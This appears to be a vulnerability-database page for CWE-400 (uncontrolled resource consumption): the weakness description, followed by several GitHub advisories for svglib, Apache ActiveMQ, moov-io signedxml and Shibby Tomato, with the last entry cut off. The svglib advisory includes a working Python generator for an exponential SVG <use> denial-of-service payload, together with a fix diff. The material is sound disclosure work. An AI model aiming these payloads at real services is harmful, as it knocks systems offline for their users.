CWE-400
Weakness DiscouragedUncontrolled Resource Consumption
Abstraction: Class · Status: Draft
The product does not properly control the allocation and maintenance of a limited resource.
Dimensions
- Behavior-Property: Uncontrolled
- Behavior-Type: Consumption
- Resource-Type: Resource
Mapping guidance
CWE-400 is intended for incorrect behaviors in which the product is expected to track and restrict how many resources it consumes, but CWE-400 is often misused because it is conflated with the "technical impact" of vulnerabilities in which resource consumption occurs. It is sometimes used for low-information vulnerability reports. It is a level-1 Class (i.e., a child of a Pillar).
Closely analyze the specific mistake that is causing resource consumption, and perform a CWE mapping for that mistake. Consider children/descendants.
Modes of introduction
The product could be operated in a system or environment with lower resource limits than expected, which might make it easier for attackers to consume all available resources.
The product could be configured with lower resource limits than expected, which might make it easier for attackers to consume all available resources.
The designer might not consider how to handle and throttle excessive resource requests, which typically requires careful planning to handle more gracefully than a crash or exit.
There are at least three distinct scenarios that can commonly lead to resource exhaustion:
Lack of throttling for the number of allocated resources.
Losing all references to a resource before reaching the shutdown stage.
Not closing/returning a resource after processing.
Resource exhaustion problems often occur due to an incorrect implementation of the following situations:
Error conditions and other exceptional circumstances.
Confusion over which part of the program is responsible for releasing the resource.
Detection methods
Automated Static Analysis
Automated static analysis typically has limited utility in recognizing resource exhaustion problems, except for program-independent system resources such as files, sockets, and processes. For system resources, automated static analysis may be able to detect circumstances in which resources are not released after they have expired. Automated analysis of configuration files may be able to detect settings that do not specify a maximum value.
Automated static analysis tools will not be appropriate for detecting exhaustion of custom resources, such as an intended security policy in which a bulletin board user is only allowed to make a limited number of posts per day.
Effectiveness: Limited
Automated Dynamic Analysis
Certain automated dynamic analysis techniques may be effective in spotting resource exhaustion problems, especially with resources such as processes, memory, and connections. The technique may involve generating a large number of requests to the product within a short time frame.
Effectiveness: Moderate
Fuzzing
While fuzzing is typically geared toward finding low-level implementation bugs, it can inadvertently find resource exhaustion problems. This can occur when the fuzzer generates a large number of test cases but does not restart the targeted product in between test cases. If an individual test case produces a crash, but it does not do so reliably, then an inability to handle resource exhaustion may be the cause.
Effectiveness: Opportunistic
Notes
Theoretical
Vulnerability theory is largely about how behaviors and resources interact. "Resource exhaustion" can be regarded as either a consequence or an attack, depending on the perspective. This entry is an attempt to reflect the underlying weaknesses that enable these attacks (or consequences) to take place.
Other
Database queries that take a long time to process are good DoS targets. An attacker would have to write a few lines of code to generate enough traffic to exceed the site's ability to keep up. This would effectively prevent authorized users from using the site at all. Resources can be exploited simply by ensuring that the target machine must do much more work and consume more resources in order to service a request than the attacker must do to initiate a request.
A prime example of this can be found in old switches that were vulnerable to "macof" attacks (so named for a tool developed by Dugsong). These attacks flooded a switch with random IP and MAC address combinations, therefore exhausting the switch's cache, which held the information of which port corresponded to which MAC addresses. Once this cache was exhausted, the switch would fail in an insecure way and would begin to act simply as a hub, broadcasting all traffic on all ports and allowing for basic sniffing attacks.
Limited resources include memory, file system storage, database connection pool entries, CPU, and others.
Content history
Suggested mappings to ISA/IEC 62443.
Suggested mappings to ISA/IEC 62443.
Provided diagram to improve CWE usability.
updated Time_of_Introduction
Suggested OWASP Top Ten 2004 mapping
updated Common_Consequences, Relationships, Other_Notes, Taxonomy_Mappings
updated Description, Name, Relationships
updated Description
updated Name, Relationships
updated Description, Relationships
updated Relationships
updated Common_Consequences, Demonstrative_Examples, Detection_Factors, Likelihood_of_Exploit, Observed_Examples, Other_Notes, Potential_Mitigations, References
updated Detection_Factors, Potential_Mitigations, References, Taxonomy_Mappings
updated Related_Attack_Patterns
updated Description
updated Demonstrative_Examples
updated Common_Consequences, Relationships, Taxonomy_Mappings
updated Demonstrative_Examples, Related_Attack_Patterns, Relationships, Taxonomy_Mappings
updated Relationships
updated Relationships, Taxonomy_Mappings
updated Related_Attack_Patterns, Relationships
updated Relationships
updated Applicable_Platforms, Demonstrative_Examples, Likelihood_of_Exploit, Potential_Mitigations, References, Relationships
updated References, Type
updated Alternate_Terms, Description, Name, Relationships, Taxonomy_Mappings, Theoretical_Notes
updated Related_Attack_Patterns, Relationships
updated Description, Relationships
updated Description, References, Related_Attack_Patterns, Relationships
updated Description, Maintenance_Notes
updated Relationships
updated Related_Attack_Patterns
updated Observed_Examples, Relationships
updated Observed_Examples, Relationships
updated Common_Consequences, Description, Detection_Factors, Maintenance_Notes, Related_Attack_Patterns, Taxonomy_Mappings
updated Demonstrative_Examples, Relationships, Taxonomy_Mappings
updated Mapping_Notes, Relationships
updated Relationships
updated Common_Consequences, Description, Diagram, Modes_of_Introduction, Other_Notes, Time_of_Introduction
updated Observed_Examples, References
updated Applicable_Platforms, Maintenance_Notes, Weakness_Ordinalities
updated Applicable_Platforms, Maintenance_Notes, Mapping_Notes, Other_Notes
updated Applicable_Platforms, Dimensions, References, Relationships, Taxonomy_Mappings
7207 vulnerabilities reference this CWE, most recent first.
GHSA-555J-QJ3J-C8JV
Vulnerability from github – Published: 2026-11-20 23:47 – Updated: 2026-11-20 23:47Summary
svg2rlg() expands <use> references without any limit on the total number of expansions. Only direct cycles are rejected (CircularRefError). A group containing N <use> elements that point to another such group multiplies the work by N per nesting level, so an SVG of about 1.4 KB makes svglib clone and render over 100,000 nodes, taking tens of seconds of CPU time and hundreds of MiB of memory. Each additional level adds about 245 bytes to the document and multiplies time by ~10.
This is the SVG <use> variant of the XML "billion laughs" attack (the same class as librsvg CVE-2019-20446).
Details
SvgRenderer.renderUse() in src/svglib/svglib.py:
try:
item = self.xlink_href_target(node, group=group)
except CircularRefError:
node.parent.etree_element.remove(node.etree_element)
return group
...
if len(node.getchildren()) == 0:
# Append a copy of the referenced node as the <use> child (if not
# already done)
node.append(copy.deepcopy(item))
self.renderNode(list(node.iter_children())[-1], parent=group)
The referenced node is deep-copied under the <use> element and rendered. Any <use> elements inside the copied subtree go through renderUse() again. xlink_href_target() raises CircularRefError only for a direct cycle, so a reference DAG with fan-out is expanded fully: fan ** levels renders.
Payload shape (fan = 10, levels = 5):
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="10" height="10">
<defs>
<rect id="l0" width="1" height="1"/>
<g id="l1"><use xlink:href="#l0"/> ... 10 times ... </g>
<g id="l2"><use xlink:href="#l1"/> ... 10 times ... </g>
...
<g id="l5"><use xlink:href="#l4"/> ... 10 times ... </g>
</defs>
<use xlink:href="#l5"/>
</svg>
Impact
Denial of service (CPU and memory exhaustion) for any application that renders SVG from an untrusted source with svglib: thumbnail/preview generation, SVG-to-PDF conversion, report generation. Only the SVG document needs to be attacker-controlled; no non-default option is required.
The same happens through xhtml2pdf, which depends on svglib to render SVG images. An HTML document containing <img src="data:image/svg+xml;base64,..."> passed to pisa.CreatePDF() triggers the expansion. HTML-to-PDF conversion of user-supplied content is a common use of xhtml2pdf in web applications.
Reproduction
Minimal local PoC, non-destructive:
import io, time
from svglib.svglib import svg2rlg
def make(levels, fan=10):
parts = ['<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="10" height="10"><defs>',
'<rect id="l0" width="1" height="1"/>']
for i in range(1, levels + 1):
parts.append(f'<g id="l{i}">' + f'<use xlink:href="#l{i-1}"/>' * fan + '</g>')
parts.append(f'</defs><use xlink:href="#l{levels}"/></svg>')
return "".join(parts).encode()
for levels in (3, 4, 5):
data = make(levels)
t = time.time()
svg2rlg(io.BytesIO(data))
print(levels, len(data), f"{time.time() - t:.1f}s")
Result on svglib 2.3.0 (commit 5d28646), Python 3.12, macOS:
| levels | SVG size | time | peak RSS |
|---|---|---|---|
| 3 | 919 B | 0.3 s | 42 MiB |
| 4 | 1164 B | 2.9 s | 83 MiB |
| 5 | 1409 B | 34 s | 469 MiB |
svglib 1.5.1 from PyPI behaves the same (levels = 4: 2.8 s, 82 MiB).
Through xhtml2pdf 0.2.23 with the same SVG embedded as a data: URI <img>:
| levels | HTML size | time | peak RSS |
|---|---|---|---|
| 4 | 1626 B | 6.9 s | 133 MiB |
| 5 | 1954 B | 78.7 s | 499 MiB |
Suggested fix
Count <use> expansions per document and stop expanding beyond a fixed limit:
@@ src/svglib/svglib.py
# A sentinel to identify a situation where a node reference a fragment not yet defined.
DELAYED = object()
+# Upper bound on the number of <use> elements expanded while rendering one document.
+# Nested <use> references multiply (a few hundred bytes can expand to millions of
+# nodes), so rendering stops expanding <use> elements beyond this limit.
+MAX_USE_EXPANSIONS = 10_000
+
@@ class SvgRenderer:
self._external_svgs: dict[str, ExternalSVG] = {}
+ self._use_expansions = 0
self.attrConverter.css_rules = CSSMatcher()
@@ def renderUse(
if group is None:
group = Group()
+ self._use_expansions += 1
+ if self._use_expansions > MAX_USE_EXPANSIONS:
+ if self._use_expansions == MAX_USE_EXPANSIONS + 1:
+ logger.error(
+ "Too many <use> expansions (limit is %d), skipping the rest",
+ MAX_USE_EXPANSIONS,
+ )
+ return group
+
try:
item = self.xlink_href_target(node, group=group)
With the fix, a 6-level payload (1654 B, one million expansions without the limit) renders in 1.1 s with 64 MiB peak RSS. The limit value is a suggestion; 10,000 <use> elements is far above what normal documents (icon sprites, symbol libraries) need.
Regression test
A regression test TestUseNode::test_use_nested_expansion_is_bounded in tests/test_basic.py renders the 5-level payload and asserts it finishes within 10 seconds.
- Without fix: test fails (30.9 s).
- With fix: test passes (1.8 s).
python -m pytest tests/test_basic.py tests/test_units.py tests/test_external_references.py tests/test_fonts.py -q → 190 passed, 4 skipped. No regressions.
I'm happy to share the full patch (including the test), for example as a PR on a temporary private fork of this advisory.
Affected versions
<= 2.3.0 (verified on 2.3.0 and 1.5.1)
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.3.0"
},
"package": {
"ecosystem": "PyPI",
"name": "svglib"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.3.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-132275"
],
"database_specific": {
"cwe_ids": [
"CWE-400",
"CWE-776"
],
"github_reviewed": true,
"github_reviewed_at": "2026-11-20T23:47:58Z",
"nvd_published_at": "2026-11-20T17:18:12Z",
"severity": "HIGH"
},
"details": "# Summary\n\n`svg2rlg()` expands `\u003cuse\u003e` references without any limit on the total number of expansions. Only direct cycles are rejected (`CircularRefError`). A group containing N `\u003cuse\u003e` elements that point to another such group multiplies the work by N per nesting level, so an SVG of about 1.4 KB makes svglib clone and render over 100,000 nodes, taking tens of seconds of CPU time and hundreds of MiB of memory. Each additional level adds about 245 bytes to the document and multiplies time by ~10.\n\nThis is the SVG `\u003cuse\u003e` variant of the XML \"billion laughs\" attack (the same class as librsvg CVE-2019-20446).\n\n# Details\n\n`SvgRenderer.renderUse()` in `src/svglib/svglib.py`:\n\n```python\ntry:\n item = self.xlink_href_target(node, group=group)\nexcept CircularRefError:\n node.parent.etree_element.remove(node.etree_element)\n return group\n...\nif len(node.getchildren()) == 0:\n # Append a copy of the referenced node as the \u003cuse\u003e child (if not\n # already done)\n node.append(copy.deepcopy(item))\nself.renderNode(list(node.iter_children())[-1], parent=group)\n```\n\nThe referenced node is deep-copied under the `\u003cuse\u003e` element and rendered. Any `\u003cuse\u003e` elements inside the copied subtree go through `renderUse()` again. `xlink_href_target()` raises `CircularRefError` only for a direct cycle, so a reference DAG with fan-out is expanded fully: `fan ** levels` renders.\n\nPayload shape (fan = 10, levels = 5):\n\n```xml\n\u003csvg xmlns=\"http://www.w3.org/2000/svg\" xmlns:xlink=\"http://www.w3.org/1999/xlink\" width=\"10\" height=\"10\"\u003e\n \u003cdefs\u003e\n \u003crect id=\"l0\" width=\"1\" height=\"1\"/\u003e\n \u003cg id=\"l1\"\u003e\u003cuse xlink:href=\"#l0\"/\u003e ... 10 times ... \u003c/g\u003e\n \u003cg id=\"l2\"\u003e\u003cuse xlink:href=\"#l1\"/\u003e ... 10 times ... \u003c/g\u003e\n ...\n \u003cg id=\"l5\"\u003e\u003cuse xlink:href=\"#l4\"/\u003e ... 10 times ... \u003c/g\u003e\n \u003c/defs\u003e\n \u003cuse xlink:href=\"#l5\"/\u003e\n\u003c/svg\u003e\n```\n\n# Impact\n\nDenial of service (CPU and memory exhaustion) for any application that renders SVG from an untrusted source with svglib: thumbnail/preview generation, SVG-to-PDF conversion, report generation. Only the SVG document needs to be attacker-controlled; no non-default option is required.\n\nThe same happens through `xhtml2pdf`, which depends on svglib to render SVG images. An HTML document containing `\u003cimg src=\"data:image/svg+xml;base64,...\"\u003e` passed to `pisa.CreatePDF()` triggers the expansion. HTML-to-PDF conversion of user-supplied content is a common use of xhtml2pdf in web applications.\n\n# Reproduction\n\nMinimal local PoC, non-destructive:\n\n```python\nimport io, time\nfrom svglib.svglib import svg2rlg\n\ndef make(levels, fan=10):\n parts = [\u0027\u003csvg xmlns=\"http://www.w3.org/2000/svg\" xmlns:xlink=\"http://www.w3.org/1999/xlink\" width=\"10\" height=\"10\"\u003e\u003cdefs\u003e\u0027,\n \u0027\u003crect id=\"l0\" width=\"1\" height=\"1\"/\u003e\u0027]\n for i in range(1, levels + 1):\n parts.append(f\u0027\u003cg id=\"l{i}\"\u003e\u0027 + f\u0027\u003cuse xlink:href=\"#l{i-1}\"/\u003e\u0027 * fan + \u0027\u003c/g\u003e\u0027)\n parts.append(f\u0027\u003c/defs\u003e\u003cuse xlink:href=\"#l{levels}\"/\u003e\u003c/svg\u003e\u0027)\n return \"\".join(parts).encode()\n\nfor levels in (3, 4, 5):\n data = make(levels)\n t = time.time()\n svg2rlg(io.BytesIO(data))\n print(levels, len(data), f\"{time.time() - t:.1f}s\")\n```\n\nResult on svglib 2.3.0 (commit `5d28646`), Python 3.12, macOS:\n\n| levels | SVG size | time | peak RSS |\n|---|---|---|---|\n| 3 | 919 B | 0.3 s | 42 MiB |\n| 4 | 1164 B | 2.9 s | 83 MiB |\n| 5 | 1409 B | 34 s | 469 MiB |\n\nsvglib 1.5.1 from PyPI behaves the same (levels = 4: 2.8 s, 82 MiB).\n\nThrough xhtml2pdf 0.2.23 with the same SVG embedded as a `data:` URI `\u003cimg\u003e`:\n\n| levels | HTML size | time | peak RSS |\n|---|---|---|---|\n| 4 | 1626 B | 6.9 s | 133 MiB |\n| 5 | 1954 B | 78.7 s | 499 MiB |\n\n# Suggested fix\n\nCount `\u003cuse\u003e` expansions per document and stop expanding beyond a fixed limit:\n\n```diff\n@@ src/svglib/svglib.py\n # A sentinel to identify a situation where a node reference a fragment not yet defined.\n DELAYED = object()\n \n+# Upper bound on the number of \u003cuse\u003e elements expanded while rendering one document.\n+# Nested \u003cuse\u003e references multiply (a few hundred bytes can expand to millions of\n+# nodes), so rendering stops expanding \u003cuse\u003e elements beyond this limit.\n+MAX_USE_EXPANSIONS = 10_000\n+\n@@ class SvgRenderer:\n self._external_svgs: dict[str, ExternalSVG] = {}\n+ self._use_expansions = 0\n self.attrConverter.css_rules = CSSMatcher()\n@@ def renderUse(\n if group is None:\n group = Group()\n \n+ self._use_expansions += 1\n+ if self._use_expansions \u003e MAX_USE_EXPANSIONS:\n+ if self._use_expansions == MAX_USE_EXPANSIONS + 1:\n+ logger.error(\n+ \"Too many \u003cuse\u003e expansions (limit is %d), skipping the rest\",\n+ MAX_USE_EXPANSIONS,\n+ )\n+ return group\n+\n try:\n item = self.xlink_href_target(node, group=group)\n```\n\nWith the fix, a 6-level payload (1654 B, one million expansions without the limit) renders in 1.1 s with 64 MiB peak RSS. The limit value is a suggestion; 10,000 `\u003cuse\u003e` elements is far above what normal documents (icon sprites, symbol libraries) need.\n\n# Regression test\n\nA regression test `TestUseNode::test_use_nested_expansion_is_bounded` in `tests/test_basic.py` renders the 5-level payload and asserts it finishes within 10 seconds.\n\n* Without fix: test fails (30.9 s).\n* With fix: test passes (1.8 s).\n\n`python -m pytest tests/test_basic.py tests/test_units.py tests/test_external_references.py tests/test_fonts.py -q` \u2192 **190 passed, 4 skipped**. No regressions.\n\nI\u0027m happy to share the full patch (including the test), for example as a PR on a temporary private fork of this advisory.\n\n# Affected versions\n\n`\u003c= 2.3.0` (verified on 2.3.0 and 1.5.1)",
"id": "GHSA-555j-qj3j-c8jv",
"modified": "2026-11-20T23:47:58Z",
"published": "2026-11-20T23:47:58Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/deeplook/svglib/security/advisories/GHSA-555j-qj3j-c8jv"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-132275"
},
{
"type": "WEB",
"url": "https://github.com/deeplook/svglib/commit/7380d3c3836940fd75f8e203fff80077b7d5a425"
},
{
"type": "PACKAGE",
"url": "https://github.com/deeplook/svglib"
},
{
"type": "WEB",
"url": "https://github.com/deeplook/svglib/releases/tag/v2.3.1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "svglib: Exponential resource consumption via nested \u003cuse\u003e references in svg2rlg"
}
GHSA-5568-6QCG-G7FX
Vulnerability from github – Published: 2026-04-10 12:31 – Updated: 2026-04-10 21:01Denial of Service via Out of Memory vulnerability in Apache ActiveMQ Client, Apache ActiveMQ Broker, Apache ActiveMQ.
ActiveMQ NIO SSL transports do not correctly handle TLSv1.3 handshake KeyUpdates triggered by clients. This makes it possible for a client to rapidly trigger updates which causes the broker to exhaust all its memory in the SSL engine leading to DoS.
Note: TLS versions before TLSv1.3 (such as TLSv1.2) are broken but are not vulnerable to OOM. Previous TLS versions require a full handshake renegotiation which causes a connection to hang but not OOM. This is fixed as well. This issue affects Apache ActiveMQ Client: before 5.19.4, from 6.0.0 before 6.2.4; Apache ActiveMQ Broker: before 5.19.4, from 6.0.0 before 6.2.4; Apache ActiveMQ: before 5.19.4, from 6.0.0 before 6.2.4.
Users are recommended to upgrade to version 6.2.4 or 5.19.5, which fixes the issue.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "org.apache.activemq:activemq-client"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "5.19.4"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.apache.activemq:activemq-client"
},
"ranges": [
{
"events": [
{
"introduced": "6.0.0"
},
{
"fixed": "6.2.4"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.apache.activemq:activemq-broker"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "5.19.4"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.apache.activemq:activemq-broker"
},
"ranges": [
{
"events": [
{
"introduced": "6.0.0"
},
{
"fixed": "6.2.4"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.apache.activemq:activemq-all"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "5.19.4"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.apache.activemq:activemq-all"
},
"ranges": [
{
"events": [
{
"introduced": "6.0.0"
},
{
"fixed": "6.2.4"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.apache.activemq:apache-activemq"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "5.19.4"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.apache.activemq:apache-activemq"
},
"ranges": [
{
"events": [
{
"introduced": "6.0.0"
},
{
"fixed": "6.2.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-39304"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-10T21:01:01Z",
"nvd_published_at": "2026-04-10T11:16:23Z",
"severity": "HIGH"
},
"details": "Denial of Service via Out of Memory vulnerability in Apache ActiveMQ Client, Apache ActiveMQ Broker, Apache ActiveMQ.\n\nActiveMQ NIO SSL transports do not correctly handle TLSv1.3 handshake KeyUpdates triggered by clients. This makes it possible for a client to rapidly trigger updates which causes the broker to exhaust all its memory in the SSL engine leading to DoS.\n\nNote: TLS versions before TLSv1.3 (such as TLSv1.2) are broken but are not vulnerable to OOM. Previous TLS versions require a full handshake renegotiation which causes a connection to hang but not OOM. This is fixed as well.\nThis issue affects Apache ActiveMQ Client: before 5.19.4, from 6.0.0 before 6.2.4; Apache ActiveMQ Broker: before 5.19.4, from 6.0.0 before 6.2.4; Apache ActiveMQ: before 5.19.4, from 6.0.0 before 6.2.4.\n\nUsers are recommended to upgrade to version 6.2.4 or 5.19.5, which fixes the issue.",
"id": "GHSA-5568-6qcg-g7fx",
"modified": "2026-04-10T21:01:01Z",
"published": "2026-04-10T12:31:44Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-39304"
},
{
"type": "WEB",
"url": "https://activemq.apache.org/security-advisories.data/CVE-2026-39304-announcement.txt"
},
{
"type": "PACKAGE",
"url": "https://github.com/apache/activemq"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2026/04/09/17"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": " Apache ActiveMQ: Denial of Service via Out of Memory vulnerability"
}
GHSA-5588-RP99-5FJH
Vulnerability from github – Published: 2026-10-21 16:27 – Updated: 2026-10-21 16:27Exclusive XML canonicalization (http://www.w3.org/2001/10/xml-exc-c14n#) in github.com/moov-io/signedxml copied the entire accumulated namespace map at every node during ValidateReferences(), before any reference digest or signature check.
For a chain of nested elements that each declare many unused namespace prefixes, that produced O(m × depth²) time and peak memory (m = prefixes per level). beevik/etree caps tree depth (~1024), but m is unbounded, so a small attacker-controlled document (on the order of 1 MB) could drive multi-gigabyte allocations and OOM the process. No valid signature, matching certificate, or authentication is required.
This is the library’s core path for SAML / WS-Federation service providers, which canonicalize attacker-supplied XML prior to authentication.
Affected
- Package:
github.com/moov-io/signedxml - Function:
ExclusiveCanonicalization(exclusivecanonicalization.go) - Verified: v1.4.0 and current default branch (commit
d79064a). Earlier v1.2.x–v1.3.x releases are likely affected.
Remediation
Do not copy the whole namespace map per node. Maintain a single scope and push/pop only the prefixes introduced at each element. Replace linear prefix-in-scope scans with set lookups. Impose a defensive cap on in-scope namespace declarations and return an error rather than allocating unbounded memory.
From @shuji-oh
Thanks for the fix — I re-ran my PoC against this branch and confirmed the memory blowup is gone.
Before (main)
-- Doubling depth each time (m=10 fixed): allocated grows ~4x each time ≈ O(depth^2) --
depth=250 m=10 payload= 0.07MB allocated= 45MB
depth=500 m=10 payload= 0.14MB allocated= 179MB
depth=1000 m=10 payload= 0.27MB allocated= 711MB
-- Increasing m (depth=1000 fixed): allocated scales roughly linearly with m --
depth=1000 m=5 payload= 0.16MB allocated= 377MB
depth=1000 m=100 payload= 2.57MB allocated= 6278MB
After (fix/exc-c14n-namespace-dos)
-- Doubling depth each time (m=10 fixed): allocated grows ~4x each time ≈ O(depth^2) --
depth=250 m=10 payload= 0.07MB allocated= 2MB
depth=500 m=10 payload= 0.14MB allocated= 4MB
depth=1000 m=10 payload= 0.27MB allocated= 7MB
-- Increasing m (depth=1000 fixed): allocated scales roughly linearly with m --
depth=1000 m=5 payload= 0.16MB allocated= 4MB
depth=1000 m=100 payload= 2.57MB allocated= 47MB
That's roughly a 100–130x reduction in peak allocation for the same payload sizes, and no OOM in any of my runs. This looks like it resolves the issue — thanks for the quick fix!
Credit
Reported by Shuji Ohira (@shuji-oh).
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.4.0"
},
"package": {
"ecosystem": "Go",
"name": "github.com/moov-io/signedxml"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.4.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-113729"
],
"database_specific": {
"cwe_ids": [
"CWE-400",
"CWE-407",
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2026-10-21T16:27:55Z",
"nvd_published_at": "2026-10-20T22:19:29Z",
"severity": "HIGH"
},
"details": "Exclusive XML canonicalization (`http://www.w3.org/2001/10/xml-exc-c14n#`) in `github.com/moov-io/signedxml` copied the entire accumulated namespace map at every node during `ValidateReferences()`, before any reference digest or signature check.\n\nFor a chain of nested elements that each declare many unused namespace prefixes, that produced **O(m \u00d7 depth\u00b2)** time and peak memory (`m` = prefixes per level). `beevik/etree` caps tree depth (~1024), but `m` is unbounded, so a small attacker-controlled document (on the order of 1 MB) could drive multi-gigabyte allocations and OOM the process. No valid signature, matching certificate, or authentication is required.\n\nThis is the library\u2019s core path for SAML / WS-Federation service providers, which canonicalize attacker-supplied XML prior to authentication.\n\n### Affected\n\n- Package: `github.com/moov-io/signedxml`\n- Function: `ExclusiveCanonicalization` (`exclusivecanonicalization.go`)\n- Verified: **v1.4.0** and current default branch (commit `d79064a`). Earlier v1.2.x\u2013v1.3.x releases are likely affected.\n \n\n### Remediation\n\nDo not copy the whole namespace map per node. Maintain a single scope and push/pop only the prefixes introduced at each element. Replace linear prefix-in-scope scans with set lookups. Impose a defensive cap on in-scope namespace declarations and return an error rather than allocating unbounded memory.\n\nFrom @shuji-oh \n```\nThanks for the fix \u2014 I re-ran my PoC against this branch and confirmed the memory blowup is gone.\n\nBefore (main)\n\n-- Doubling depth each time (m=10 fixed): allocated grows ~4x each time \u2248 O(depth^2) --\ndepth=250 m=10 payload= 0.07MB allocated= 45MB\ndepth=500 m=10 payload= 0.14MB allocated= 179MB\ndepth=1000 m=10 payload= 0.27MB allocated= 711MB\n-- Increasing m (depth=1000 fixed): allocated scales roughly linearly with m --\ndepth=1000 m=5 payload= 0.16MB allocated= 377MB\ndepth=1000 m=100 payload= 2.57MB allocated= 6278MB\nAfter (fix/exc-c14n-namespace-dos)\n\n-- Doubling depth each time (m=10 fixed): allocated grows ~4x each time \u2248 O(depth^2) --\ndepth=250 m=10 payload= 0.07MB allocated= 2MB\ndepth=500 m=10 payload= 0.14MB allocated= 4MB\ndepth=1000 m=10 payload= 0.27MB allocated= 7MB\n-- Increasing m (depth=1000 fixed): allocated scales roughly linearly with m --\ndepth=1000 m=5 payload= 0.16MB allocated= 4MB\ndepth=1000 m=100 payload= 2.57MB allocated= 47MB\nThat\u0027s roughly a 100\u2013130x reduction in peak allocation for the same payload sizes, and no OOM in any of my runs. This looks like it resolves the issue \u2014 thanks for the quick fix!\n```\n\n### Credit\n\nReported by Shuji Ohira ([@shuji-oh](https://github.com/shuji-oh)).",
"id": "GHSA-5588-rp99-5fjh",
"modified": "2026-10-21T16:27:55Z",
"published": "2026-10-21T16:27:55Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/moov-io/signedxml/security/advisories/GHSA-5588-rp99-5fjh"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-113729"
},
{
"type": "WEB",
"url": "https://github.com/moov-io/signedxml/commit/da2cd6126c4c53b7e59a367d287786e6f6a2d0d3"
},
{
"type": "PACKAGE",
"url": "https://github.com/moov-io/signedxml"
},
{
"type": "WEB",
"url": "https://github.com/moov-io/signedxml/releases/tag/v1.4.1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Moov signedxml: Unauthenticated denial of service in exclusive XML canonicalization"
}
GHSA-55H4-63GW-7VCM
Vulnerability from github – Published: 2026-05-29 18:31 – Updated: 2026-05-29 18:31A vulnerability has been found in Shibby Tomato 1.28. The impacted element is an unknown function of the file usr/sbin/miniupnpd. Such manipulation leads to resource consumption. The attack may be launched remotely. This project is superseded by FreshTomato. This vulnerability only affects products that are no longer supported by the maintainer.
{
"affected": [],
"aliases": [
"CVE-2026-10069"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-05-29T16:16:23Z",
"severity": "HIGH"
},
"details": "A vulnerability has been found in Shibby Tomato 1.28. The impacted element is an unknown function of the file usr/sbin/miniupnpd. Such manipulation leads to resource consumption. The attack may be launched remotely. This project is superseded by FreshTomato. This vulnerability only affects products that are no longer supported by the maintainer.",
"id": "GHSA-55h4-63gw-7vcm",
"modified": "2026-05-29T18:31:32Z",
"published": "2026-05-29T18:31:32Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-10069"
},
{
"type": "WEB",
"url": "https://gitee.com/Fengyi-Wang/CVE/issues/IJD8SP"
},
{
"type": "WEB",
"url": "https://vuldb.com/submit/818238"
},
{
"type": "WEB",
"url": "https://vuldb.com/vuln/367155"
},
{
"type": "WEB",
"url": "https://vuldb.com/vuln/367155/cti"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-55H5-XMCQ-C37V
Vulnerability from github – Published: 2026-07-23 15:07 – Updated: 2026-07-23 15:07Impact
